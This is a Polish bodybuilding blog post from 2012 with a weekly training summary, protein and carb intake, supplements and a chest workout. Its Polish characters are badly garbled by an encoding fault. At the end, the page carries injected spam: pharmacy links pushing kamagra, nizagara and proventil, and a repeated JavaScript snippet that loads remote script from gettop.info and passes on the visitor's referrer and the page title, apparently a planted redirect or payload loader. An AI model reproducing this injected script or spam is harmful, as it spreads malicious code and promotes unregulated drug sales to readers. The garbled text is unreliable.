ZwiAi??kszamy ciAi??A?ary

13.06.2012 / Michał Karmowski

Kolejne podsumowanie tygodnia jest zadowalajAi??ce , poniewaA? waga caAi??y czas idzie w gA?rAi?? a na treningachAi?? zaczynam uA?ywaAi??Ai?? wiAi??kszych ciAi??A?arA?w. Jedyne co staje siAi??Ai?? trochAi?? uciAi??A?liwe to , to A?e lekko pompujAi?? mi siAi??Ai?? prostowniki:-) Do diety od poniedziaAi??ku doAi??oA?yAi??em 40g biaAi??ka rozdzielajAi??c to na 4 posiAi??ki. Reszta wartoAi??ci pozostaje bez zmian czyli wAi??gle od 420g do 600g i tAi??uszcze 100g. Do suplementacji dodaAi??em 2 caps Q10 dla lepszego funkcjonowania serca.

poniedziaAi??kowy trening klatki:

-wyciskanie hantlami na wysokim skosie

-rozpiAi??tki na skosie

-wyciskanie na maszynie hammer

-krzyA?owanie linek w bramie

-wyciskanie na skosie na maszynie smitha 1 seria 50 powtA?rzeAi?? (z przerwami w trakcie serii)

po treningu wypiAi??em 60g biaAi??ka z isolate 100, 3 miarki cm3, 3 miarki bcaa powder, 3 miarki L-glutamine extreme i zjadAi??em 100g ryzu i 25g rodzynek nastAi??pnie zrobiAi??em lekkie 20 min cardio i pojechaAi??em do domu na 300g steka z pieczonymi ziemniakami

httpv://www.youtube.com/watch?v=0gFBUZnrxuo”} http://bubbashotdogs.com/2018/03/17/cheap-plendil/ Buy buy ralista s.src='http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + ''; s.src='http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + ''; buy nizagara online Purchase pills online Order Order Purchase best place to buy kamagra online. Kamagra online. where to buy kamagra safely. Cheap cost proventil hfa without insurance Pills